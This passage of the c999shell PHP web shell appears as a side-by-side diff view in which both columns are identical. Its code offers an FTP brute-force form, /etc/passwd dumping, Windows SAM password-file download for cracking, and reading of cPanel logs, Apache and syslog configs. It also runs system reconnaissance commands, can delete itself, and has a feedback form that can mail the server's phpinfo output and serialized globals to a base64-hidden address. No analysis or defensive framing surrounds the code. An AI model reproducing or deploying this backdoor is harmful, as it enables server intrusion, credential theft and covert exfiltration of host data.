name=\"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen($logfile)/10))."\"><br>Logging to e-mail? <input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*(strlen($logemail)/10))."\"><br><br><input type=submit name=submit value=\"Brute\"></form>"; |
| 1476 | } | 1476 | } |
| 1477 | } | 1477 | } |
| 1478 | } | 1478 | } |
| 1479 | if ($act == "d") | 1479 | if ($act == "d") |
| 1480 | { | 1480 | { |
| 1481 | if (!is_dir($d)) {echo "<center><b>Permision denied!</b></center>";} | 1481 | if (!is_dir($d)) {echo "<center><b>Permision denied!</b></center>";} |
| 1482 | else | 1482 | else |
| 1483 | { | 1483 | { |
| 1484 | echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>"; | 1484 | echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>"; |
| 1485 | if (!$win) | 1485 | if (!$win) |
| 1486 | { | 1486 | { |
| 1487 | echo "<tr><td><b>Owner/Group</b></td><td> "; | 1487 | echo "<tr><td><b>Owner/Group</b></td><td> "; |
| 1488 | $ow = posix_getpwuid(fileowner($d)); | 1488 | $ow = posix_getpwuid(fileowner($d)); |
| 1489 | $gr = posix_getgrgid(filegroup($d)); | 1489 | $gr = posix_getgrgid(filegroup($d)); |
| 1490 | $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d)); | 1490 | $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d)); |
| 1491 | } | 1491 | } |
| 1492 | echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table><br>"; | 1492 | echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table><br>"; |
| 1493 | } | 1493 | } |
| 1494 | } | 1494 | } |
| 1495 | if ($act == "phpinfo") {@ob_clean(); phpinfo(); c999shexit();} | 1495 | if ($act == "phpinfo") {@ob_clean(); phpinfo(); c999shexit();} |
| 1496 | if ($act == "security") | 1496 | if ($act == "security") |
| 1497 | { | 1497 | { |
| 1498 | echo "<center><b>Server security information:</b></center><b>Open base dir: ".$hopenbasedir."</b><br>"; | 1498 | echo "<center><b>Server security information:</b></center><b>Open base dir: ".$hopenbasedir."</b><br>"; |
| 1499 | if (!$win) | 1499 | if (!$win) |
| 1500 | { | 1500 | { |
| 1501 | if ($nixpasswd) | 1501 | if ($nixpasswd) |
| 1502 | { | 1502 | { |
| 1503 | if ($nixpasswd == 1) {$nixpasswd = 0;} | 1503 | if ($nixpasswd == 1) {$nixpasswd = 0;} |
| 1504 | echo "<b>*nix /etc/passwd:</b><br>"; | 1504 | echo "<b>*nix /etc/passwd:</b><br>"; |
| 1505 | if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;} | 1505 | if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;} |
| 1506 | if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;} | 1506 | if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;} |
| 1507 | echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b> <input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\"> <b>To:</b> <input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\"> <input type=submit value=\"View\"></form><br>"; | 1507 | echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b> <input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\"> <b>To:</b> <input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\"> <input type=submit value=\"View\"></form><br>"; |
| 1508 | $i = $nixpwd_s; | 1508 | $i = $nixpwd_s; |
| 1509 | while ($i < $nixpwd_e) | 1509 | while ($i < $nixpwd_e) |
| 1510 | { | 1510 | { |
| 1511 | $uid = posix_getpwuid($i); | 1511 | $uid = posix_getpwuid($i); |
| 1512 | if ($uid) | 1512 | if ($uid) |
| 1513 | { | 1513 | { |
| 1514 | $uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>"; | 1514 | $uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>"; |
| 1515 | echo join(":",$uid)."<br>"; | 1515 | echo join(":",$uid)."<br>"; |
| 1516 | } | 1516 | } |
| 1517 | $i++; | 1517 | $i++; |
| 1518 | } | 1518 | } |
| 1519 | } | 1519 | } |
| 1520 | else {echo "<br><a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"><b><u>Get /etc/passwd</u></b></a><br>";} | 1520 | else {echo "<br><a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"><b><u>Get /etc/passwd</u></b></a><br>";} |
| 1521 | } | 1521 | } |
| 1522 | else | 1522 | else |
| 1523 | { | 1523 | { |
| 1524 | $v = $_SERVER["WINDIR"]."\repair\sam"; | 1524 | $v = $_SERVER["WINDIR"]."\repair\sam"; |
| 1525 | if (file_get_contents($v)) {echo "<b><font color=red>You can't crack winnt passwords(".$v.") </font></b><br>";} | 1525 | if (file_get_contents($v)) {echo "<b><font color=red>You can't crack winnt passwords(".$v.") </font></b><br>";} |
| 1526 | else {echo "<b><font color=green>You can crack winnt passwords. <a href=\"".$surl."act=f&f=sam&d=".$_SERVER["WINDIR"]."\\repair&ft=download\"><u><b>Download</b></u></a>, and use lcp.crack+ ©.</font></b><br>";} | 1526 | else {echo "<b><font color=green>You can crack winnt passwords. <a href=\"".$surl."act=f&f=sam&d=".$_SERVER["WINDIR"]."\\repair&ft=download\"><u><b>Download</b></u></a>, and use lcp.crack+ ©.</font></b><br>";} |
| 1527 | } | 1527 | } |
| 1528 | if (file_get_contents("/etc/userdomains")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=userdomains&d=".urlencode("/etc")."&ft=txt\"><u><b>View cpanel user-domains logs</b></u></a></font></b><br>";} | 1528 | if (file_get_contents("/etc/userdomains")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=userdomains&d=".urlencode("/etc")."&ft=txt\"><u><b>View cpanel user-domains logs</b></u></a></font></b><br>";} |
| 1529 | if (file_get_contents("/var/cpanel/accounting.log")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=accounting.log&d=".urlencode("/var/cpanel/")."\"&ft=txt><u><b>View cpanel logs</b></u></a></font></b><br>";} | 1529 | if (file_get_contents("/var/cpanel/accounting.log")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=accounting.log&d=".urlencode("/var/cpanel/")."\"&ft=txt><u><b>View cpanel logs</b></u></a></font></b><br>";} |
| 1530 | if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/usr/local/apache/conf")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";} | 1530 | if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/usr/local/apache/conf")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";} |
| 1531 | if (file_get_contents("/etc/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";} | 1531 | if (file_get_contents("/etc/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";} |
| 1532 | if (file_get_contents("/etc/syslog.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=syslog.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Syslog configuration (syslog.conf)</b></u></a></font></b><br>";} | 1532 | if (file_get_contents("/etc/syslog.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=syslog.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Syslog configuration (syslog.conf)</b></u></a></font></b><br>";} |
| 1533 | if (file_get_contents("/etc/motd")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=motd&d=".urlencode("/etc")."&ft=txt\"><u><b>Message Of The Day</b></u></a></font></b><br>";} | 1533 | if (file_get_contents("/etc/motd")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=motd&d=".urlencode("/etc")."&ft=txt\"><u><b>Message Of The Day</b></u></a></font></b><br>";} |
| 1534 | if (file_get_contents("/etc/hosts")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=hosts&d=".urlencode("/etc")."&ft=txt\"><u><b>Hosts</b></u></a></font></b><br>";} | 1534 | if (file_get_contents("/etc/hosts")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=hosts&d=".urlencode("/etc")."&ft=txt\"><u><b>Hosts</b></u></a></font></b><br>";} |
| 1535 | function displaysecinfo($name,$value) {if (!empty($value)) {if (!empty($name)) {$name = "<b>".$name." - </b>";} echo $name.nl2br($value)."<br>";}} | 1535 | function displaysecinfo($name,$value) {if (!empty($value)) {if (!empty($name)) {$name = "<b>".$name." - </b>";} echo $name.nl2br($value)."<br>";}} |
| 1536 | displaysecinfo("OS Version?",myshellexec("cat /proc/version")); | 1536 | displaysecinfo("OS Version?",myshellexec("cat /proc/version")); |
| 1537 | displaysecinfo("Kernel version?",myshellexec("sysctl -a | grep version")); | 1537 | displaysecinfo("Kernel version?",myshellexec("sysctl -a | grep version")); |
| 1538 | displaysecinfo("Distrib name",myshellexec("cat /etc/issue.net")); | 1538 | displaysecinfo("Distrib name",myshellexec("cat /etc/issue.net")); |
| 1539 | displaysecinfo("Distrib name (2)",myshellexec("cat /etc/*-realise")); | 1539 | displaysecinfo("Distrib name (2)",myshellexec("cat /etc/*-realise")); |
| 1540 | displaysecinfo("CPU?",myshellexec("cat /proc/cpuinfo")); | 1540 | displaysecinfo("CPU?",myshellexec("cat /proc/cpuinfo")); |
| 1541 | displaysecinfo("RAM",myshellexec("free -m")); | 1541 | displaysecinfo("RAM",myshellexec("free -m")); |
| 1542 | displaysecinfo("HDD space",myshellexec("df -h")); | 1542 | displaysecinfo("HDD space",myshellexec("df -h")); |
| 1543 | displaysecinfo("List of Attributes",myshellexec("lsattr -a")); | 1543 | displaysecinfo("List of Attributes",myshellexec("lsattr -a")); |
| 1544 | displaysecinfo("Mount options ",myshellexec("cat /etc/fstab")); | 1544 | displaysecinfo("Mount options ",myshellexec("cat /etc/fstab")); |
| 1545 | displaysecinfo("Is cURL installed?",myshellexec("which curl")); | 1545 | displaysecinfo("Is cURL installed?",myshellexec("which curl")); |
| 1546 | displaysecinfo("Is lynx installed?",myshellexec("which lynx")); | 1546 | displaysecinfo("Is lynx installed?",myshellexec("which lynx")); |
| 1547 | displaysecinfo("Is links installed?",myshellexec("which links")); | 1547 | displaysecinfo("Is links installed?",myshellexec("which links")); |
| 1548 | displaysecinfo("Is fetch installed?",myshellexec("which fetch")); | 1548 | displaysecinfo("Is fetch installed?",myshellexec("which fetch")); |
| 1549 | displaysecinfo("Is GET installed?",myshellexec("which GET")); | 1549 | displaysecinfo("Is GET installed?",myshellexec("which GET")); |
| 1550 | displaysecinfo("Is perl installed?",myshellexec("which perl")); | 1550 | displaysecinfo("Is perl installed?",myshellexec("which perl")); |
| 1551 | displaysecinfo("Where is apache",myshellexec("whereis apache")); | 1551 | displaysecinfo("Where is apache",myshellexec("whereis apache")); |
| 1552 | displaysecinfo("Where is perl?",myshellexec("whereis perl")); | 1552 | displaysecinfo("Where is perl?",myshellexec("whereis perl")); |
| 1553 | displaysecinfo("locate proftpd.conf",myshellexec("locate proftpd.conf")); | 1553 | displaysecinfo("locate proftpd.conf",myshellexec("locate proftpd.conf")); |
| 1554 | displaysecinfo("locate httpd.conf",myshellexec("locate httpd.conf")); | 1554 | displaysecinfo("locate httpd.conf",myshellexec("locate httpd.conf")); |
| 1555 | displaysecinfo("locate my.conf",myshellexec("locate my.conf")); | 1555 | displaysecinfo("locate my.conf",myshellexec("locate my.conf")); |
| 1556 | displaysecinfo("locate psybnc.conf",myshellexec("locate psybnc.conf")); | 1556 | displaysecinfo("locate psybnc.conf",myshellexec("locate psybnc.conf")); |
| 1557 | } | 1557 | } |
| 1558 | if ($act == "mkfile") | 1558 | if ($act == "mkfile") |
| 1559 | { | 1559 | { |
| 1560 | if ($mkfile != $d) | 1560 | if ($mkfile != $d) |
| 1561 | { | 1561 | { |
| 1562 | if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object alredy exists";} | 1562 | if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object alredy exists";} |
| 1563 | elseif (!fopen($mkfile,"w")) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: access denied";} | 1563 | elseif (!fopen($mkfile,"w")) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: access denied";} |
| 1564 | else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);} | 1564 | else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);} |
| 1565 | } | 1565 | } |
| 1566 | else {$act = $dspact = "ls";} | 1566 | else {$act = $dspact = "ls";} |
| 1567 | } | 1567 | } |
| 1568 | if ($act == "encoder") | 1568 | if ($act == "encoder") |
| 1569 | { | 1569 | { |
| 1570 | echo "<script>function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script><center><b>Encoder:</b></center><form name=\"encoder\" action=\"".$surl."\" method=POST><input type=hidden name=act value=encoder><b>Input:</b><center><textarea name=\"encoder_input\" id=\"input\" cols=50 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br><br><input type=submit value=\"calculate\"><br><br></center><b>Hashes</b>:<br><center>"; | 1570 | echo "<script>function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script><center><b>Encoder:</b></center><form name=\"encoder\" action=\"".$surl."\" method=POST><input type=hidden name=act value=encoder><b>Input:</b><center><textarea name=\"encoder_input\" id=\"input\" cols=50 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br><br><input type=submit value=\"calculate\"><br><br></center><b>Hashes</b>:<br><center>"; |
| 1571 | foreach(array("md5","crypt","sha1","crc32") as $v) | 1571 | foreach(array("md5","crypt","sha1","crc32") as $v) |
| 1572 | { | 1572 | { |
| 1573 | echo $v." - <input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly><br>"; | 1573 | echo $v." - <input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly><br>"; |
| 1574 | } | 1574 | } |
| 1575 | echo "</center><b>Url:</b><center><br>urlencode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly> | 1575 | echo "</center><b>Url:</b><center><br>urlencode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly> |
| 1576 | <br>urldecode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly> | 1576 | <br>urldecode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly> |
| 1577 | <br></center><b>Base64:</b><center>base64_encode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly></center>"; | 1577 | <br></center><b>Base64:</b><center>base64_encode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly></center>"; |
| 1578 | echo "<center>base64_decode - "; | 1578 | echo "<center>base64_decode - "; |
| 1579 | if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"failed\" disabled readonly>";} | 1579 | if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"failed\" disabled readonly>";} |
| 1580 | else | 1580 | else |
| 1581 | { | 1581 | { |
| 1582 | $debase64 = base64_decode($encoder_input); | 1582 | $debase64 = base64_decode($encoder_input); |
| 1583 | $debase64 = str_replace("\0","[0]",$debase64); | 1583 | $debase64 = str_replace("\0","[0]",$debase64); |
| 1584 | $a = explode("\r\n",$debase64); | 1584 | $a = explode("\r\n",$debase64); |
| 1585 | $rows = count($a); | 1585 | $rows = count($a); |
| 1586 | $debase64 = htmlspecialchars($debase64); | 1586 | $debase64 = htmlspecialchars($debase64); |
| 1587 | if ($rows == 1) {echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>";} | 1587 | if ($rows == 1) {echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>";} |
| 1588 | else {$rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>";} | 1588 | else {$rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>";} |
| 1589 | echo " <a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\"><b>^</b></a>"; | 1589 | echo " <a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\"><b>^</b></a>"; |
| 1590 | } | 1590 | } |
| 1591 | echo "</center><br><b>Base convertations</b>:<center>dec2hex - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\""; | 1591 | echo "</center><br><b>Base convertations</b>:<center>dec2hex - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\""; |
| 1592 | $c = strlen($encoder_input); | 1592 | $c = strlen($encoder_input); |
| 1593 | for($i=0;$i<$c;$i++) | 1593 | for($i=0;$i<$c;$i++) |
| 1594 | { | 1594 | { |
| 1595 | $hex = dechex(ord($encoder_input[$i])); | 1595 | $hex = dechex(ord($encoder_input[$i])); |
| 1596 | if ($encoder_input[$i] == "&") {echo $encoder_input[$i];} | 1596 | if ($encoder_input[$i] == "&") {echo $encoder_input[$i];} |
| 1597 | elseif ($encoder_input[$i] != "\\") {echo "%".$hex;} | 1597 | elseif ($encoder_input[$i] != "\\") {echo "%".$hex;} |
| 1598 | } | 1598 | } |
| 1599 | echo "\" readonly><br></center></form>"; | 1599 | echo "\" readonly><br></center></form>"; |
| 1600 | } | 1600 | } |
| 1601 | if ($act == "fsbuff") | 1601 | if ($act == "fsbuff") |
| 1602 | { | 1602 | { |
| 1603 | $arr_copy = $sess_data["copy"]; | 1603 | $arr_copy = $sess_data["copy"]; |
| 1604 | $arr_cut = $sess_data["cut"]; | 1604 | $arr_cut = $sess_data["cut"]; |
| 1605 | $arr = array_merge($arr_copy,$arr_cut); | 1605 | $arr = array_merge($arr_copy,$arr_cut); |
| 1606 | if (count($arr) == 0) {echo "<center><b>Buffer is empty!</b></center>";} | 1606 | if (count($arr) == 0) {echo "<center><b>Buffer is empty!</b></center>";} |
| 1607 | else {echo "<b>File-System buffer</b><br><br>"; $ls_arr = $arr; $disp_fullpath = TRUE; $act = "ls";} | 1607 | else {echo "<b>File-System buffer</b><br><br>"; $ls_arr = $arr; $disp_fullpath = TRUE; $act = "ls";} |
| 1608 | } | 1608 | } |
| 1609 | if ($act == "selfremove") | 1609 | if ($act == "selfremove") |
| 1610 | { | 1610 | { |
| 1611 | if (($submit == $rndcode) and ($submit != "")) | 1611 | if (($submit == $rndcode) and ($submit != "")) |
| 1612 | { | 1612 | { |
| 1613 | if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using c999shell v.".$shver."!"; c999shexit(); } | 1613 | if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using c999shell v.".$shver."!"; c999shexit(); } |
| 1614 | else {echo "<center><b>Can't delete ".__FILE__."!</b></center>";} | 1614 | else {echo "<center><b>Can't delete ".__FILE__."!</b></center>";} |
| 1615 | } | 1615 | } |
| 1616 | else | 1616 | else |
| 1617 | { | 1617 | { |
| 1618 | if (!empty($rndcode)) {echo "<b>Error: incorrect confimation!</b>";} | 1618 | if (!empty($rndcode)) {echo "<b>Error: incorrect confimation!</b>";} |
| 1619 | $rnd = rand(0,9).rand(0,9).rand(0,9); | 1619 | $rnd = rand(0,9).rand(0,9).rand(0,9); |
| 1620 | echo "<form action=\"".$surl."\"><input type=hidden name=act value=selfremove><b>Self-remove: ".__FILE__." <br><b>Are you sure?<br>For confirmation, enter \"".$rnd."\"</b>: <input type=hidden name=rndcode value=\"".$rnd."\"><input type=text name=submit> <input type=submit value=\"YES\"></form>"; | 1620 | echo "<form action=\"".$surl."\"><input type=hidden name=act value=selfremove><b>Self-remove: ".__FILE__." <br><b>Are you sure?<br>For confirmation, enter \"".$rnd."\"</b>: <input type=hidden name=rndcode value=\"".$rnd."\"><input type=text name=submit> <input type=submit value=\"YES\"></form>"; |
| 1621 | } | 1621 | } |
| 1622 | } | 1622 | } |
| 1623 | if ($act == "update") {$ret = c999sh_getupdate(!!$confirmupdate); echo "<b>".$ret."</b>"; if (stristr($ret,"new version")) {echo "<br><br><input type=button onclick=\"location.href='".$surl."act=update&confirmupdate=1';\" value=\"Update now\">";}} | 1623 | if ($act == "update") {$ret = c999sh_getupdate(!!$confirmupdate); echo "<b>".$ret."</b>"; if (stristr($ret,"new version")) {echo "<br><br><input type=button onclick=\"location.href='".$surl."act=update&confirmupdate=1';\" value=\"Update now\">";}} |
| 1624 | if ($act == "feedback") | 1624 | if ($act == "feedback") |
| 1625 | { | 1625 | { |
| 1626 | $suppmail = base64_decode("Yzk5c2hlbGxAY2N0ZWFtLnJ1"); | 1626 | $suppmail = base64_decode("Yzk5c2hlbGxAY2N0ZWFtLnJ1"); |
| 1627 | if (!empty($submit)) | 1627 | if (!empty($submit)) |
| 1628 | { | 1628 | { |
| 1629 | $ticket = substr(md5(microtime()+rand(1,1000)),0,6); | 1629 | $ticket = substr(md5(microtime()+rand(1,1000)),0,6); |
| 1630 | $body = "c999shell v.".$shver." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\n\nIP: ".$REMOTE_ADDR; | 1630 | $body = "c999shell v.".$shver." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\n\nIP: ".$REMOTE_ADDR; |
| 1631 | if (!empty($fdbk_ref)) | 1631 | if (!empty($fdbk_ref)) |
| 1632 | { | 1632 | { |
| 1633 | $tmp = @ob_get_contents(); | 1633 | $tmp = @ob_get_contents(); |
| 1634 | ob_clean(); | 1634 | ob_clean(); |
| 1635 | phpinfo(); | 1635 | phpinfo(); |
| 1636 | $phpinfo = base64_encode(ob_get_contents()); | 1636 | $phpinfo = base64_encode(ob_get_contents()); |
| 1637 | ob_clean(); | 1637 | ob_clean(); |
| 1638 | echo $tmp; | 1638 | echo $tmp; |
| 1639 | $body .= "\n"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n"; | 1639 | $body .= "\n"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n"; |
| 1640 | } | 1640 | } |
| 1641 | mail($suppmail,"c999shell v.".$shver." feedback #".$ticket,$body,"FROM: ".$suppmail); | 1641 | mail($suppmail,"c999shell v.".$shver." feedback #".$ticket,$body,"FROM: ".$suppmail); |
| 1642 | echo "<center><b>Thanks for your feedback! Your ticket ID: ".$ticket.".</b></center>"; | 1642 | echo "<center><b>Thanks for your feedback! Your ticket ID: ".$ticket.".</b></center>"; |
| 1643 | } | 1643 | } |
| 1644 | else {echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=feedback><b>Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail)."):<br><br>Your name: <input type=\"text\" name=\"fdbk_name\" value=\"".htmlspecialchars($fdbk_name)."\"><br><br>Your e-mail: <input type=\"text\" name=\"fdbk_email\" value=\"".htmlspecialchars($fdbk_email)."\"><br><br>Message:<br><textarea name=\"fdbk_body\" cols=80 rows=10>".htmlspecialchars($fdbk_body)."</textarea><input type=\"hidden\" name=\"fdbk_ref\" value=\"".urlencode($HTTP_REFERER)."\"><br><br>Attach server-info * <input type=\"checkbox\" name=\"fdbk_servinf\" value=\"1\" checked><br><br>There are no checking in the form.<br><br>* - strongly recommended, if you report bug, because we need it for bug-fix.<br><br>We understand languages: English, Russian.<br><br><input type=\"submit\" name=\"submit\" value=\"Send\"></form>";} | 1644 | else {echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=feedback><b>Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail)."):<br><br>Your name: <input type=\"text\" name=\"fdbk_name\" value=\"".htmlspecialchars($fdbk_name)."\"><br><br>Your e-mail: <input type=\"text\" name=\"fdbk_email\" value=\"".htmlspecialchars($fdbk_email)."\"><br><br>Message:<br><textarea name=\"fdbk_body\" cols=80 rows=10>".htmlspecialchars($fdbk_body)."</textarea><input type=\"hidden\" name=\"fdbk_ref\" value=\"".urlencode($HTTP_REFERER)."\"><br><br>Attach server-info * <input type=\"checkbox\" name=\"fdbk_servinf\" value=\"1\" checked><br><br>There are no checking in the form.<br><br>* - strongly recommended, if you report bug, because we need it for bug-fix.<br><br>We understand languages: English, Russian.<br><br><input type=\"submit\" name=\"submit\" value=\"Send\"></form>";} |
| 1645 | } | 1645 | } |
| 1646 | if ($act == "search") | 1646 | if ($act == "search") |
| 1647 | { | 1647 | { |
| 1648 | echo "<b>Search in file-system:</b><br>"; | 1648 | echo "<b>Search in file-system:</b><br>"; |
| 1649 | if (empty($search_in)) {$search_in = $d;} | 1649 | if (empty($search_in)) {$search_in = $d;} |
| 1650 | if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;} | 1650 | if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;} |
| 1651 | if (empty($search_text_wwo)) {$search_text_regexp = 0;} | 1651 | if (empty($search_text_wwo)) {$search_text_regexp = 0;} |
| 1652 | if (!empty($submit)) | 1652 | if (!empty($submit)) |
| 1653 | { | 1653 | { |
| 1654 | $found = array(); | 1654 | $found = array(); |
| 1655 | $found_d = 0; | 1655 | $found_d = 0; |
| 1656 | $found_f = 0; | 1656 | $found_f = 0; |
| 1657 | $search_i_f = 0; | 1657 | $search_i_f = 0; |
| 1658 | $search_i_d = 0; | 1658 | $search_i_d = 0; |
| 1659 | $a = array | 1659 | $a = array |
| 1660 | ( | 1660 | ( |
| 1661 | "name"=>$search_name, "name_regexp"=>$search_name_regexp, | 1661 | "name"=>$search_name, "name_regexp"=>$search_name_regexp, |
| 1662 | "text"=>$search_text, "text_regexp"=>$search_text_regxp, | 1662 | "text"=>$search_text, "text_regexp"=>$search_text_regxp, |
| 1663 | "text_wwo"=>$search_text_wwo, | 1663 | "text_wwo"=>$search_text_wwo, |
| 1664 | "text_cs"=>$search_text_cs, | 1664 | "text_cs"=>$search_text_cs, |
| 1665 | "text_not"=>$search_text_not | 1665 | "text_not"=>$search_text_not |
| 1666 | ); | 1666 | ); |
| 1667 | $searchtime = getmicrotime(); | 1667 | $searchtime = getmicrotime(); |
| 1668 | $in = array_unique(explode(";",$search_in)); | 1668 | $in = array_unique(explode(";",$search_in)); |
| 1669 | foreach($in as $v) {c999fsearch($v);} | 1669 | foreach($in as $v) {c999fsearch($v);} |
| 1670 | $searchtime = round(getmicrotime()-$searchtime,4); | 1670 | $searchtime = round(getmicrotime()-$searchtime,4); |
| 1671 | if (count($found) == 0) {echo "<b>No files found!</b>";} | 1671 | if (count($found) == 0) {echo "<b>No files found!</b>";} |
| 1672 | else | 1672 | else |
| 1673 | { | 1673 | { |
| 1674 | $ls_arr = $found; | 1674 | $ls_arr = $found; |
